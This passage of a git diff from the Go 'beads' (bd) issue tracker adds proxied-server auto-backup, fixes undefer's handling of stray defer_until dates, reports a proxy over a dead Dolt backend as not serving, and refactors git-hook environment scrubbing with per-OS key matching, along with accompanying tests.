post-command auto-backup runs +// against on a proxied-server workspace, or ok=false when it must not run. +// +// Auto-backup is a `bd backup sync` nobody typed, so it is honored exactly +// where that verb is — the "backup sync" registry row, i.e. managed-local +// only. Anywhere else the backup remote it registers would land on a server bd +// does not own, where it is global to every client; that is the storm the +// explicit verbs refuse by design, and an implicit trigger must not reopen it. +// +// It never opens a provider of its own. A command that did not open one (or +// closed it, as restore does) has no live topology to back up, and opening one +// here would relaunch a server the command may just have stopped. +func proxiedAutoBackupBackend() (localBackupBackend, bool) { + if rule, ok := proxiedBackupRule("backup sync"); !ok || rule.Outcome != ProxyOutcomeHonored { + debug.Logf("backup: skipping auto-backup — proxied topology does not honor backup sync\n") + return nil, false + } + if uowProvider == nil { + return nil, false + } + mp, ok := uowProvider.(uow.MaintenanceProvider) + if !ok { + debug.Logf("backup: skipping auto-backup — provider %T has no maintenance seam\n", uowProvider) + return nil, false + } + return proxiedLocalBackup{provider: mp}, true +} + +// proxiedLocalBackup is localBackupBackend over the proxied provider's +// non-transactional seam, the one `bd backup sync` uses. +// +// No pre-backup commit: change detection compares HEAD, and every proxied +// write transaction already ends in DOLT_COMMIT('-Am') (uow doltServerTx), so +// HEAD is where the data is — the invariant direct mode gets from running +// auto-commit just before auto-backup. +type proxiedLocalBackup struct { + provider uow.MaintenanceProvider +} + +func (b proxiedLocalBackup) CurrentCommit(ctx context.Context) (string, error) { + var hash string + err := b.provider.RunNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + var err error + hash, err = versioncontrolops.CurrentCommit(ctx, conn) + return err + }) + return hash, err +} + +func (b proxiedLocalBackup) BackupToDir(ctx context.Context, dir string) error { + return b.provider.RunNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + return versioncontrolops.BackupToDir(ctx, conn, conn, dir) + }) +} + // proxiedActiveDatabase asks the server which database the provider opened, // rather than re-deriving it from the workspace config. The provider already // resolved that question (metadata.json, then --database/--db), and a second @@ -203,7 +268,7 @@ func runBackupRemoveProxied(ctx context.Context) error { return err } // auto-export may have registered a second remote at the same URL. - _ = versioncontrolops.BackupRemove(ctx, conn, "backup_export") + _ = versioncontrolops.BackupRemove(ctx, conn, versioncontrolops.ExportBackupName) return nil }) if err != nil { diff --git a/cmd/bd/bootstrap.go b/cmd/bd/bootstrap.go index 0c9f4e05f..f361dc980 100644 --- a/cmd/bd/bootstrap.go +++ b/cmd/bd/bootstrap.go @@ -190,7 +190,9 @@ Examples: if isGitRepo() && !isBareGitRepo() { if originURL, err := gitOriginGetURL(); err == nil && originURL != "" { if gitOriginHasDoltDataRef() { - if fallbackDir := beads.GetWorktreeFallbackBeadsDir(); fallbackDir != "" { + if explicitDir := beads.ExplicitBeadsDir(); explicitDir != "" { + beadsDir = explicitDir + } else if fallbackDir := beads.GetWorktreeFallbackBeadsDir(); fallbackDir != "" { beadsDir = fallbackDir } else { cwd, err := os.Getwd() diff --git a/cmd/bd/close_fanin_proxied_integration_test.go b/cmd/bd/close_fanin_proxied_integration_test.go new file mode 100644 index 000000000..ad15ff1a7 --- /dev/null +++ b/cmd/bd/close_fanin_proxied_integration_test.go @@ -0,0 +1,84 @@ +//go:build cgo + +package main + +import ( + "bytes" + "encoding/json" + "fmt" + "os/exec" + "strings" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestProxiedServerCloseSiblingBlockersFanIn is gastownhall/beads#6716 end to +// end on the proxied CLI: the fan-in of a formula whose parallel workers +// close the two blockers of one step at the same time. Each round closes the +// blockers with two concurrent `bd close` processes and then requires the +// dependent in `bd ready`. Without the post-commit recheck on the uow path a +// round whose closes overlap leaves the dependent is_blocked=1 and missing +// from ready work. The interleaving is not pinned here (see +// TestProxiedBlockedRecheckAfterRacingUnblocks in internal/storage/uow for +// the deterministic race); this proves the settled CLI outcome. +func TestProxiedServerCloseSiblingBlockersFanIn(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "fan") + + const rounds = 6 + for round := 0; round < rounds; round++ { + a := bdProxiedCreate(t, bd, p.dir, fmt.Sprintf("round %d blocker a", round)).ID + b := bdProxiedCreate(t, bd, p.dir, fmt.Sprintf("round %d blocker b", round)).ID + c := bdProxiedCreate(t, bd, p.dir, fmt.Sprintf("round %d fan-in", round)).ID + for _, blocker := range []string{a, b} { + if out, err := bdProxiedRun(t, bd, p.dir, "dep", "add", c, blocker); err != nil { + t.Fatalf("round %d: dep add %s %s: %v\n%s", round, c, blocker, err, out) + } + } + + var wg sync.WaitGroup + errs := make([]string, 2) + for i, id := range []string{a, b} { + wg.Add(1) + go func() { + defer wg.Done() + cmd := exec.Command(bd, "close", id) + cmd.Dir = p.dir + cmd.Env = bdProxiedEnv(p.dir) + var stderr bytes.Buffer + cmd.Stderr = &stderr + if err := cmd.Run(); err != nil { + errs[i] = fmt.Sprintf("close %s: %v\n%s", id, err, stderr.String()) + } + }() + } + wg.Wait() + if joined := strings.TrimSpace(strings.Join(errs, "")); joined != "" { + t.Fatalf("round %d: %s", round, joined) + } + + out, err := bdProxiedRun(t, bd, p.dir, "ready", "--json", "--limit", "0") + if err != nil { + t.Fatalf("round %d: bd ready: %v\n%s", round, err, out) + } + start := bytes.IndexByte(out, '[') + if start < 0 { + t.Fatalf("round %d: bd ready printed no JSON array: %s", round, out) + } + var ready []types.Issue + if err := json.Unmarshal(out[start:], &ready); err != nil { + t.Fatalf("round %d: parse bd ready: %v\n%s", round, err, out) + } + found := false + for _, issue := range ready { + found = found || issue.ID == c + } + if !found { + t.Fatalf("round %d: %s has both blockers closed but is missing from bd ready", round, c) + } + } +} diff --git a/cmd/bd/config.go b/cmd/bd/config.go index f39a33d77..ebdfb6ed6 100644 --- a/cmd/bd/config.go +++ b/cmd/bd/config.go @@ -1264,7 +1264,11 @@ func validateStorageClassConfig(key, value string) error { if canonical := issueType.Normalize(); canonical != issueType { return fmt.Errorf("invalid key %q: %q is an alias of %q, and create-time lookup uses the canonical type; set storage-class.%s instead", key, suffix, canonical, canonical) } - if !issueType.IsValidWithCustom(loadEmbeddedCustomTypes()) { + customTypes, err := resolveWorkspaceCustomTypes(rootCtx) + if err != nil { + return err + } + if !issueType.IsValidWithCustom(customTypes) { return fmt.Errorf("invalid key %q: unknown issue type %q (use a built-in type, or add it to types.custom first)", key, suffix) } if _, err := types.ParseStorageClass(value); err != nil { diff --git a/cmd/bd/create_proxied_server.go b/cmd/bd/create_proxied_server.go index 70e725a85..dcc409dd6 100644 --- a/cmd/bd/create_proxied_server.go +++ b/cmd/bd/create_proxied_server.go @@ -11,7 +11,6 @@ import ( "github.com/spf13/cobra" - "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/domain" "github.com/steveyegge/beads/internal/storage/uow" @@ -21,13 +20,6 @@ import ( "github.com/steveyegge/beads/issueops" ) -func resolveProxiedCustomTypes(dbTypes []string) []string { - if len(dbTypes) > 0 { - return dbTypes - } - return config.GetCustomTypesFromYAML() -} - func runCreateProxiedServer(cmd *cobra.Command, ctx context.Context, in createInput) error { if in.repoOverrideSet { // Defense in depth: validateProxyCapabilitiesBeforeProvider already @@ -394,7 +386,7 @@ func runCreateProxiedGraph(_ *cobra.Command, ctx context.Context, in createInput // The returned useWisp is the plan-wide table routing decision. func validateProxiedGraphPlan(plan *GraphApplyPlan, in createInput, cctx domain.CreateContext, issueExists func(id string) (bool, error)) (useWisp bool, err error) { cfg := graphPlanConfig{ - customTypes: resolveProxiedCustomTypes(cctx.CustomTypes), + customTypes: cctx.CustomTypes, // No YAML fallback for statuses — the server database is authoritative // (that's where 'bd config set status.custom' writes) and statuses are // store-only everywhere (single-issue create, list filters), unlike diff --git a/cmd/bd/create_proxied_server_test.go b/cmd/bd/create_proxied_server_test.go index b06bd6b7f..a1a327920 100644 --- a/cmd/bd/create_proxied_server_test.go +++ b/cmd/bd/create_proxied_server_test.go @@ -3,13 +3,10 @@ package main import ( "encoding/json" "fmt" - "os" - "path/filepath" "reflect" "testing" "time" - "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) @@ -473,55 +470,3 @@ func TestParseMarkdownDependencies_DoesNotSwapBlocks(t *testing.T) { t.Errorf("got %#v, want %#v (no swap-direction)", got, want) } } - -func TestResolveProxiedCustomTypes_PrefersDBTypes(t *testing.T) { - got := resolveProxiedCustomTypes([]string{"db-a", "db-b"}) - if !reflect.DeepEqual(got, []string{"db-a", "db-b"}) { - t.Errorf("got %#v, want [db-a db-b] — DB types must win when non-empty", got) - } -} - -func TestResolveProxiedCustomTypes_FallsBackToYAML(t *testing.T) { - restore := withTestYAMLCustomTypes(t, "molecule,gate,convoy") - defer restore() - - for _, dbTypes := range [][]string{nil, {}} { - got := resolveProxiedCustomTypes(dbTypes) - if !reflect.DeepEqual(got, []string{"molecule", "gate", "convoy"}) { - t.Errorf("dbTypes=%v: got %#v, want YAML fallback [molecule gate convoy]", dbTypes, got) - } - } -} - -func TestResolveProxiedCustomTypes_EmptyEverywhere(t *testing.T) { - restore := withTestYAMLCustomTypes(t, "") - defer restore() - - got := resolveProxiedCustomTypes(nil) - if len(got) != 0 { - t.Errorf("expected empty result, got %#v", got) - } -} - -func withTestYAMLCustomTypes(t *testing.T, customCSV string) func() { - t.Helper() - tmpDir := t.TempDir() - beadsDir := filepath.Join(tmpDir, ".beads") - if err := os.MkdirAll(beadsDir, 0o755); err != nil { - t.Fatalf("mkdir .beads: %v", err) - } - var content string - if customCSV != "" { - content = "types:\n custom: \"" + customCSV + "\"\n" - } - if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte(content), 0o644); err != nil { - t.Fatalf("write config.yaml: %v", err) - } - t.Chdir(tmpDir) - - config.ResetForTesting() - if err := config.Initialize(); err != nil { - t.Fatalf("config.Initialize: %v", err) - } - return func() { config.ResetForTesting() } -} diff --git a/cmd/bd/defer_proxied_integration_test.go b/cmd/bd/defer_proxied_integration_test.go index 44b5b1b79..bbcaf8f92 100644 --- a/cmd/bd/defer_proxied_integration_test.go +++ b/cmd/bd/defer_proxied_integration_test.go @@ -92,6 +92,37 @@ func TestProxiedServerDeferUndefer(t *testing.T) { } }) + t.Run("undefer_clears_stray_defer_until_when_status_not_deferred", func(t *testing.T) { + // Mirrors TestEmbeddedUndefer's ga-bq3w5 coverage on the proxied-server + // route (runUndeferProxiedServer): a status that is neither "open" nor + // "deferred" makes the conditional status write observable — writing + // status=open here would be a real change, not a no-op. + j := bdProxiedCreate(t, bd, p.dir, "Stray future defer on in_progress issue", "--type", "task") + if out, err := bdProxiedRun(t, bd, p.dir, "update", j.ID, "--status", "in_progress", "--defer", "2099-01-01"); err != nil { + t.Fatalf("update --status in_progress --defer: %v\n%s", err, out) + } + status, deferUntil := showStatus(t, j.ID) + if status != string(types.StatusInProgress) || deferUntil == nil { + t.Fatalf("precondition: expected status=in_progress with defer_until set, got status=%q defer_until=%v", status, deferUntil) + } + + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "undefer", j.ID) + if err != nil { + t.Fatalf("undefer: %v\nstdout=%s\nstderr=%s", err, stdout, stderr) + } + if strings.Contains(stdout+stderr, "is not deferred") { + t.Errorf("undefer refused instead of clearing the stray defer_until: stdout=%s stderr=%s", stdout, stderr) + } + + status, deferUntil = showStatus(t, j.ID) + if status != string(types.StatusInProgress) { + t.Errorf("expected status to stay in_progress (not clobbered to open), got %q", status) + } + if deferUntil != nil { + t.Errorf("expected defer_until cleared after undefer, got %v", deferUntil) + } + }) + t.Run("defer_is_idempotent", func(t *testing.T) { d := bdProxiedCreate(t, bd, p.dir, "Idempotent defer", "--type", "task") if out, err := bdProxiedRun(t, bd, p.dir, "defer", d.ID); err != nil { diff --git a/cmd/bd/defer_proxied_server.go b/cmd/bd/defer_proxied_server.go index c6bc9ba0f..280df6ace 100644 --- a/cmd/bd/defer_proxied_server.go +++ b/cmd/bd/defer_proxied_server.go @@ -17,6 +17,12 @@ import ( type deferProxiedResult struct { issues []*types.Issue errs []string + + // wasDeferred tracks, in lockstep with issues, whether each undeferred + // issue was actually status=deferred (status flips to open) versus just + // carrying a stray defer_until on some other status (status untouched, + // only the timestamp cleared — ga-bq3w5). Unused by runDeferProxiedServer. + wasDeferred []bool } func proxiedUpdateByID(ctx context.Context, uw uow.UnitOfWork, id string, isWisp bool, updates map[string]any) error { @@ -125,21 +131,29 @@ func runUndeferProxiedServer(ctx context.Context, args []string) error { continue } fullID := issue.ID - if issue.Status != types.StatusDeferred { + + // Gate on defer_until, not status alone (ga-bq3w5) — mirrors the + // embedded-backend fix in undefer.go. See that file's comment for + // the full rationale. + wasDeferred := issue.Status == types.StatusDeferred + if !wasDeferred && issue.DeferUntil == nil { r.errs = append(r.errs, fmt.Sprintf("%s is not deferred (status: %s)", fullID, string(issue.Status))) continue } updates := map[string]interface{}{ - "status": string(types.StatusOpen), "defer_until": nil, } + if wasDeferred { + updates["status"] = string(types.StatusOpen) + } if uerr := proxiedUpdateByID(ctx, uw, fullID, isWisp, updates); uerr != nil { r.errs = append(r.errs, fmt.Sprintf("Error undeferring %s: %v", fullID, uerr)) continue } if updated := proxiedGetByID(ctx, uw, fullID, isWisp); updated != nil { r.issues = append(r.issues, updated) + r.wasDeferred = append(r.wasDeferred, wasDeferred) } } if len(r.issues) == 0 { @@ -162,8 +176,12 @@ func runUndeferProxiedServer(ctx context.Context, args []string) error { } } } else { - for _, iss := range res.issues { - fmt.Printf("%s Undeferred %s (now open)\n", ui.RenderPass("*"), iss.ID) + for i, iss := range res.issues { + if i < len(res.wasDeferred) && res.wasDeferred[i] { + fmt.Printf("%s Undeferred %s (now open)\n", ui.RenderPass("*"), iss.ID) + } else { + fmt.Printf("%s Cleared stale defer_until on %s (status unchanged: %s)\n", ui.RenderPass("*"), iss.ID, string(iss.Status)) + } } } diff --git a/cmd/bd/doctor/dolt_e2e_test.go b/cmd/bd/doctor/dolt_e2e_test.go index 2fc70e8a4..412eae31a 100644 --- a/cmd/bd/doctor/dolt_e2e_test.go +++ b/cmd/bd/doctor/dolt_e2e_test.go @@ -89,7 +89,9 @@ func testMainInner(m *testing.M) int { } if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() port := testutil.DoltContainerPortInt() diff --git a/cmd/bd/doctor/fix/BUILD.bazel b/cmd/bd/doctor/fix/BUILD.bazel index 4ca96cb1d..7ab6423bc 100644 --- a/cmd/bd/doctor/fix/BUILD.bazel +++ b/cmd/bd/doctor/fix/BUILD.bazel @@ -114,13 +114,47 @@ sh_test( srcs = ["//tools/bazel:go_test_variant.sh"], args = ["$(rootpath :fix_test)"], data = [":fix_test"], - env = {"BEADS_FIX_REQUIRE_DOLT": "1"}, + # Pinned to the container backend (the docker lane is the A/B control); + # rule env beats --test_env, so =local on the command line cannot flip it. + env = { + "BEADS_FIX_REQUIRE_DOLT": "1", + "BEADS_TEST_DOLT_SERVER": "container", + }, tags = [ "no-remote-exec", "requires-docker", ], ) +# The Dolt-backed half of fix_test, as pr.yml's "Test doctor/fix (Dolt-backed, +# hard-require container)" step runs it, on the dolt-server lane: TestMain's +# server is a local `dolt sql-server` child of the test process, and +# BEADS_FIX_REQUIRE_DOLT=1 keeps the suite from skipping when it cannot start. +# fix_docker_test is the A/B control. 4 shards: unsharded it was the lane's +# critical path (~4 min remotely). +# +# Tags: +# dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the +# test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local); excluded from +# --config=prcore/ci, selected by --config=doltserver. Runs remotely: no +# docker, and a missing server fails (REQUIRE=1) instead of skipping, so +# a cached pass is as good as a fresh one. +sh_test( + name = "fix_dolt_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :fix_test)"], + data = [":fix_test"], + env = { + "BEADS_FIX_REQUIRE_DOLT": "1", + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + shard_count = 4, + tags = ["dolt-server"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/cmd/bd/doctor/fix/testmain_cgo_test.go b/cmd/bd/doctor/fix/testmain_cgo_test.go index b93c2b2f1..19929519e 100644 --- a/cmd/bd/doctor/fix/testmain_cgo_test.go +++ b/cmd/bd/doctor/fix/testmain_cgo_test.go @@ -26,7 +26,9 @@ func testMainInner(m *testing.M) int { // database-name firewall when they connect to the spawned test server. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() } diff --git a/cmd/bd/dolt_proxied_lifecycle.go b/cmd/bd/dolt_proxied_lifecycle.go index 31b7db6cb..28d06357f 100644 --- a/cmd/bd/dolt_proxied_lifecycle.go +++ b/cmd/bd/dolt_proxied_lifecycle.go @@ -43,9 +43,12 @@ func proxiedDoltStartRefusal() *ProxyCapabilityError { // proxiedDoltStatus is the `bd dolt status --json` payload for a proxied // workspace. It reports the two processes separately because they fail -// separately and an operator's next move differs: Running describes the proxy, -// which is the endpoint every bd command connects through, while the Backend* -// fields describe the dolt server behind it. +// separately and an operator's next move differs: Running says whether the +// workspace is serving (a live proxy, and on a managed topology a live dolt +// behind it), Proxy* describe the proxy every bd command connects through, and +// the Backend* fields describe the dolt server behind it. A proxy left in front +// of a dead managed backend (possible with proxies started by an older bd) +// therefore reports running=false with proxy_pid still set. type proxiedDoltStatus struct { Mode string `json:"mode"` Root string `json:"root"` @@ -98,9 +101,17 @@ func collectProxiedDoltStatus(beadsDir string) (proxiedDoltStatus, error) { status.BackendEndpoint = externalDoltEndpoint(*info.External) } } + status.Running = proxiedStatusServing(live.ProxyRunning, status.BackendManaged, status.BackendRunning) return status, nil } +// proxiedStatusServing reports whether a proxied workspace is serving: its +// proxy is live and, when bd manages the backend, that dolt server is live +// too. A proxy in front of a dead managed backend serves nothing. +func proxiedStatusServing(proxyRunning, backendManaged, backendRunning bool) bool { + return proxyRunning && (!backendManaged || backendRunning) +} + func externalDoltEndpoint(cfg configfile.ExternalDoltConfig) string { if cfg.Socket != "" { return "unix:" + cfg.Socket @@ -116,11 +127,20 @@ func renderProxiedDoltStatus(status proxiedDoltStatus) { return } - if status.Running { + // A live proxy in front of a managed backend that is gone serves nothing, + // so do not call it running. The proxy retires itself once it notices + // the backend exit; a proxy from an older bd may not. + backendDown := !status.Running && status.ProxyPID != 0 && status.BackendManaged && !status.BackendRunning + switch { + case backendDown: + fmt.Printf("Dolt server: not serving (%s): proxy is up but its dolt backend is not running\n", status.Mode) + fmt.Printf(" Proxy PID: %d\n", status.ProxyPID) + fmt.Printf(" Proxy port: %d\n", status.ProxyPort) + case status.Running: fmt.Printf("Dolt server: running (%s)\n", status.Mode) fmt.Printf(" Proxy PID: %d\n", status.ProxyPID) fmt.Printf(" Proxy port: %d\n", status.ProxyPort) - } else { + default: fmt.Printf("Dolt server: not running (%s)\n", status.Mode) } fmt.Printf(" Root: %s\n", status.Root) @@ -135,9 +155,12 @@ func renderProxiedDoltStatus(status proxiedDoltStatus) { if status.IdleTimeout != "" { fmt.Printf(" Idle timeout: %s\n", status.IdleTimeout) } - if !status.Running { + if !status.Running && !backendDown { fmt.Println(" The proxy starts on demand; the next bd command launches it.") } + if backendDown { + fmt.Println(" Run 'bd dolt stop' to retire the proxy; the next bd command starts a fresh proxy and backend.") + } if isDoltLocalOnly() { fmt.Println(" Remote sync: disabled (dolt.local-only=true)") } diff --git a/cmd/bd/dolt_proxied_lifecycle_test.go b/cmd/bd/dolt_proxied_lifecycle_test.go index d12f87d0b..aa31c22e6 100644 --- a/cmd/bd/dolt_proxied_lifecycle_test.go +++ b/cmd/bd/dolt_proxied_lifecycle_test.go @@ -151,6 +151,28 @@ func TestRenderProxiedDoltStatus(t *testing.T) { } }) + t.Run("text does not call a proxy over a dead managed backend running", func(t *testing.T) { + defer restoreJSONOutput(t)() + jsonOutput = false + stranded := running + stranded.Running = false + stranded.BackendRunning, stranded.BackendPID, stranded.BackendPort = false, 0, 0 + out := captureStdout(t, func() error { renderProxiedDoltStatus(stranded); return nil }) + if strings.Contains(out, "Dolt server: running") { + t.Errorf("proxy with a dead backend reported as running:\n%s", out) + } + for _, want := range []string{ + "Dolt server: not serving (proxied-server)", + "Proxy PID: 111", + "Backend: not running", + "bd dolt stop", + } { + if !strings.Contains(out, want) { + t.Errorf("missing %q in:\n%s", want, out) + } + } + }) + t.Run("text marks an external backend as somebody else's", func(t *testing.T) { defer restoreJSONOutput(t)() jsonOutput = false @@ -180,6 +202,24 @@ func TestRenderProxiedDoltStatus(t *testing.T) { }) } +func TestProxiedStatusServing(t *testing.T) { + for _, tc := range []struct { + name string + proxyRunning, managed, backendRunning bool + want bool + }{ + {"managed pair live", true, true, true, true}, + {"proxy over dead managed backend", true, true, false, false}, + {"external backend", true, false, false, true}, + {"proxy down", false, true, true, false}, + {"nothing running", false, true, false, false}, + } { + if got := proxiedStatusServing(tc.proxyRunning, tc.managed, tc.backendRunning); got != tc.want { + t.Errorf("%s: proxiedStatusServing(%v, %v, %v) = %v, want %v", tc.name, tc.proxyRunning, tc.managed, tc.backendRunning, got, tc.want) + } + } +} + func restoreJSONOutput(t *testing.T) func() { t.Helper() orig := jsonOutput diff --git a/cmd/bd/export_auto.go b/cmd/bd/export_auto.go index 54a6b6921..d366f8d52 100644 --- a/cmd/bd/export_auto.go +++ b/cmd/bd/export_auto.go @@ -9,6 +9,7 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "sort" "strings" "sync" @@ -18,6 +19,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/debug" + "github.com/steveyegge/beads/internal/execenv" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/dolt" "github.com/steveyegge/beads/internal/types" @@ -1072,6 +1074,10 @@ func gitIndexLockPath(path string, env []string) (string, error) { return filepath.Join(gitDir, "index.lock"), nil } +// hookEnvGOOS lets both hook filters exercise either key policy on every test host. +// Process-wide seam: tests that swap it must not run in parallel. +var hookEnvGOOS = runtime.GOOS + // scrubGitHookEnv returns env with the GIT_* variables that can poison // git's repo/worktree auto-discovery or object-store resolution removed, // so git falls back to auto-discovery from cwd. The scrub is @@ -1090,34 +1096,28 @@ func gitIndexLockPath(path string, env []string) (string, error) { // GIT_CONFIG namespace, which includes _COUNT, _KEY_n, _VALUE_n, // _GLOBAL, _SYSTEM, _NOSYSTEM, and the legacy GIT_CONFIG itself. func scrubGitHookEnv(env []string) []string { + return scrubGitHookEnvForOS(env, hookEnvGOOS) +} + +func scrubGitHookEnvForOS(env []string, goos string) []string { // The GIT_CONFIG prefix (no trailing "=") is intentional: it matches // GIT_CONFIG=, GIT_CONFIG_COUNT=, GIT_CONFIG_KEY_n=, GIT_CONFIG_VALUE_n=, // GIT_CONFIG_PARAMETERS=, GIT_CONFIG_GLOBAL=, GIT_CONFIG_SYSTEM=, and // GIT_CONFIG_NOSYSTEM= — the whole family — in one entry. No standard // git env var starts with GIT_CONFIG that we want to preserve. - prefixes := []string{ - "GIT_DIR=", - "GIT_WORK_TREE=", - "GIT_INDEX_FILE=", - "GIT_COMMON_DIR=", - "GIT_PREFIX=", - "GIT_OBJECT_DIRECTORY=", - "GIT_ALTERNATE_OBJECT_DIRECTORIES=", - "GIT_CEILING_DIRECTORIES=", - "GIT_DISCOVERY_ACROSS_FILESYSTEM=", - "GIT_CONFIG", - } - out := make([]string, 0, len(env)) - for _, e := range env { - skip := false - for _, p := range prefixes { - if strings.HasPrefix(e, p) { - skip = true - break - } - } - if !skip { - out = append(out, e) + cleaned := execenv.WithoutForOS(env, goos, + "GIT_DIR", "GIT_WORK_TREE", "GIT_INDEX_FILE", "GIT_COMMON_DIR", + "GIT_PREFIX", "GIT_OBJECT_DIRECTORY", "GIT_ALTERNATE_OBJECT_DIRECTORIES", + "GIT_CEILING_DIRECTORIES", "GIT_DISCOVERY_ACROSS_FILESYSTEM", + ) + // Without owns a fresh slice, so this second filter cannot mutate env. + out := cleaned[:0] + for _, entry := range cleaned { + // Prefix policy also drops valueless GIT_CONFIG entries. Without + // intentionally preserves valueless exact keys such as GIT_DIR. + key := execenv.EntryKey(entry) + if !execenv.KeyHasPrefixForOS(key, "GIT_CONFIG", goos) { + out = append(out, entry) } } return out diff --git a/cmd/bd/graph_apply.go b/cmd/bd/graph_apply.go index 05750e30f..9f40f7e6d 100644 --- a/cmd/bd/graph_apply.go +++ b/cmd/bd/graph_apply.go @@ -12,7 +12,6 @@ import ( "strings" "time" - "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/validation" @@ -305,15 +304,6 @@ func warnUnknownGraphFields(w io.Writer, unknown map[string][]string) []string { return hintFields } -func loadEmbeddedCustomTypes() []string { - if store != nil { - if ct, err := store.GetCustomTypes(rootCtx); err == nil && len(ct) > 0 { - return ct - } - } - return config.GetCustomTypesFromYAML() -} - // loadEmbeddedCustomStatuses reads custom statuses from the store only — no // YAML fallback, matching single-issue create and loadListFilterConfig // (custom types fall back to YAML; custom statuses deliberately do not). @@ -348,9 +338,13 @@ func createIssuesFromGraph(planFile string, dryRun bool, opts GraphApplyOptions) return HandleErrorRespectJSON("parsing graph plan: %v", err) } + customTypes, err := resolveWorkspaceCustomTypes(rootCtx) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } dbPrefix, allowedPrefixes := loadEmbeddedIDPrefixes() cfg := graphPlanConfig{ - customTypes: loadEmbeddedCustomTypes(), + customTypes: customTypes, customStatuses: loadEmbeddedCustomStatuses(), dbPrefix: dbPrefix, allowedPrefixes: allowedPrefixes, diff --git a/cmd/bd/hook_env_test.go b/cmd/bd/hook_env_test.go new file mode 100644 index 000000000..0420921ec --- /dev/null +++ b/cmd/bd/hook_env_test.go @@ -0,0 +1,76 @@ +package main + +import ( + "slices" + "testing" +) + +func TestFilterChainedHookEnvUsesHostKeyIdentity(t *testing.T) { + checkHookEnvForBothHosts(t, checkChainedHookEnv) +} + +// Callers and subtests must remain serial while they swap the process-wide seam. +func checkHookEnvForBothHosts(t *testing.T, check func(*testing.T)) { + t.Helper() + for _, goos := range []string{"linux", "windows"} { + t.Run(goos, func(t *testing.T) { + previous := hookEnvGOOS + hookEnvGOOS = goos + t.Cleanup(func() { hookEnvGOOS = previous }) + check(t) + }) + } +} + +func checkChainedHookEnv(t *testing.T) { + t.Helper() + env := []string{ + "BD_GIT_HOOK=canonical", "bd_git_hook=mixed", "BD_GİT_HOOK=unicode-case", + "BD_GIT_HOOK=unicode-case", "BD_GIT_HOOK=", + "BD_GıT_HOOK=distinct", "KEEP=first", "KEEP=BD_GIT_HOOK=1", + "BD_GIT_HOOK", `=C:=C:\work`, + } + original := slices.Clone(env) + want := []string{"BD_GıT_HOOK=distinct", "KEEP=first", "KEEP=BD_GIT_HOOK=1", "BD_GIT_HOOK", `=C:=C:\work`} + if hookEnvGOOS != "windows" { + want = append([]string{"bd_git_hook=mixed", "BD_GİT_HOOK=unicode-case", "BD_GIT_HOOK=unicode-case"}, want...) + } + if got := filterEnv(env, "BD_GIT_HOOK"); !slices.Equal(got, want) { + t.Errorf("chained-hook environment = %q, want %q", got, want) + } + if !slices.Equal(env, original) { + t.Errorf("input environment mutated: %q", env) + } +} + +func TestScrubGitHookEnvUsesHostKeyIdentity(t *testing.T) { + checkHookEnvForBothHosts(t, checkGitHookEnv) +} + +func checkGitHookEnv(t *testing.T) { + t.Helper() + env := []string{ + "GIT_DIR=canonical", "git_dir=mixed", "GİT_DİR=unicode-case", "GIT_DıR=distinct", + "GIT_WORK_TREE=unicode-case", "GIT_DIſCOVERY_ACROSS_FILESYSTEM=distinct", "GIT_CONFIG=", + "GIT_CONFIG_COUNT=1", "git_config_parameters=mixed", "gİt_config_count=unicode-case", + "GIT_CONFIG_UNSET", "git_config_unset", "KEEP=first", "KEEP=GIT_CONFIG_COUNT=1", + "GIT_AUTHOR_NAME=author", "GIT_OPTIONAL_LOCKS=1", "GIT_DIR", "MALFORMED", `=C:=C:\work`, + } + original := slices.Clone(env) + want := []string{"GIT_DıR=distinct"} + if hookEnvGOOS != "windows" { + want = append([]string{"git_dir=mixed", "GİT_DİR=unicode-case"}, want...) + want = append(want, "GIT_WORK_TREE=unicode-case") + } + want = append(want, "GIT_DIſCOVERY_ACROSS_FILESYSTEM=distinct") + if hookEnvGOOS != "windows" { + want = append(want, "git_config_parameters=mixed", "gİt_config_count=unicode-case", "git_config_unset") + } + want = append(want, "KEEP=first", "KEEP=GIT_CONFIG_COUNT=1", "GIT_AUTHOR_NAME=author", "GIT_OPTIONAL_LOCKS=1", "GIT_DIR", "MALFORMED", `=C:=C:\work`) + if got := scrubGitHookEnv(env); !slices.Equal(got, want) { + t.Errorf("Git-hook environment = %q, want %q", got, want) + } + if !slices.Equal(env, original) { + t.Errorf("input environment mutated: %q", env) + } +} diff --git a/cmd/bd/hooks.go b/cmd/bd/hooks.go index 63a3e42c4..b48d5c75f 100644 --- a/cmd/bd/hooks.go +++ b/cmd/bd/hooks.go @@ -14,6 +14,7 @@ import ( 